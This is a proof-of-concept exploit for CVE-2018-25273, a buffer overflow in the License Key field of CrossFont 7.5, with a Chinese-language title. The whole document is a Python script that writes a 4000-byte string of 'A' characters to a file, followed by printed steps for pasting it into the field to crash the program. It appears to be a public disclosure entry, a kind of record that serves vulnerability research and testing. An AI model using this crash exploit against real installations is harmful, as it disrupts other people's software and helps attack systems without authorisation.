CVE-2018-25273 CrossFont缓冲区溢出漏洞

import sys # Proof of Concept for CVE-2018-25273 # Vulnerability: Buffer Overflow in CrossFont 7.5 License Key field # Impact: Application Crash (Denial of Service) def generate_payload(): # Create a payload of 4000 bytes to trigger the overflow payload = "A" * 4000 return payload if __name__ == "__main__": payload = generate_payload() try: # Write payload to a file with open("crossfont_exploit.txt", "w") as f: f.write(payload) print("[+] Exploit file 'crossfont_exploit.txt' created successfully.") print("[+] Steps to reproduce:") print("1. Open CrossFont 7.5.") print("2. Navigate to the License Key input field.") print("3. Copy the content of 'crossfont_exploit.txt'.") print("4. Paste the content into the field.") print("5. The application should crash.") except Exception as e: print(f"[-] Error creating file: {e}")